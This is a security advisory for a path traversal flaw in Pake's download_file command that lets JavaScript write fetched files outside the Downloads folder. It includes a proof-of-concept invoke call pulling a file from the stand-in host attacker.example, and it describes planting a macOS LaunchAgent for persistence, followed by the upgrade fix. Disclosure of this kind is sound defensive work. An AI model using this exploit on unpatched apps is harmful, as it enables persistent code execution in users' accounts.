Pake is vulnerable to Arbitrary File Write via Unsanitized download_file Filename
Pake (tw93/Pake)
< 3.13.1
Pake before 3.13.1 joins the JavaScript-supplied filename for the download_file Tauri command onto the user's Downloads directory with no sanitization. A filename containing path traversal sequences (for example ../Library/LaunchAgents/com.evil.plist) or an absolute path resolves outside ~/Downloads. The command then fetches attacker-controlled content from the supplied URL over Rust HTTP, not the browser, and writes it to that path.
A script that can invoke the command can overwrite user-writable files and install persistence, such as a macOS LaunchAgent, a Linux autostart entry, or a Windows Startup-folder payload, leading to code execution in the user account. All desktop apps generated from an affected Pake tree expose the same command. Opening the wrapped app is the required user interaction; the default Pake IPC posture makes download_file reachable from the wrapped page.
Step 1 - Serve a payload over HTTP
Host a small file the Pake process will fetch, for example a proof marker or a LaunchAgent plist, on an attacker-controlled HTTP URL.
Step 2 - Invoke download_file with a traversing filename
From JavaScript in a Pake-generated app built from a tree before 3.13.1, call the unsanitized command:
window.__TAURI__.core.invoke('download_file', {
params: {
url: 'http://attacker.example/pake_write_proof.sh',
filename: '../pake_write_proof.sh'
}
})
A second invoke with filename ../Library/LaunchAgents/com.pake.poc.plist and a plist body that runs the first file demonstrates persistence.
Step 3 - Confirm the write left Downloads
Expected result: the fetched files appear under the user home directory (for example ~/pake_write_proof.sh and ~/Library/LaunchAgents/com.pake.poc.plist), not under ~/Downloads. Loading the LaunchAgent, or the next login, runs the fetched payload in the user session.
Upgrade Pake to 3.13.1 or later and rebuild generated apps from that tree. The fix introduces sanitize_download_filename and uses only the final path segment before joining onto the Downloads directory, so ../ sequences and absolute paths cannot escape that directory (https://github.com/tw93/Pake/commit/a5463a84d6e36705ee0dd1886cf0e4b5a75b0ab4, first tagged in V3.13.1).
https://www.cve.org/CVERecord?id=CVE-2026-82635 https://github.com/tw93/Pake/commit/a5463a84d6e36705ee0dd1886cf0e4b5a75b0ab4 https://github.com/tw93/Pake/releases/tag/V3.13.1 https://github.com/tw93/Pake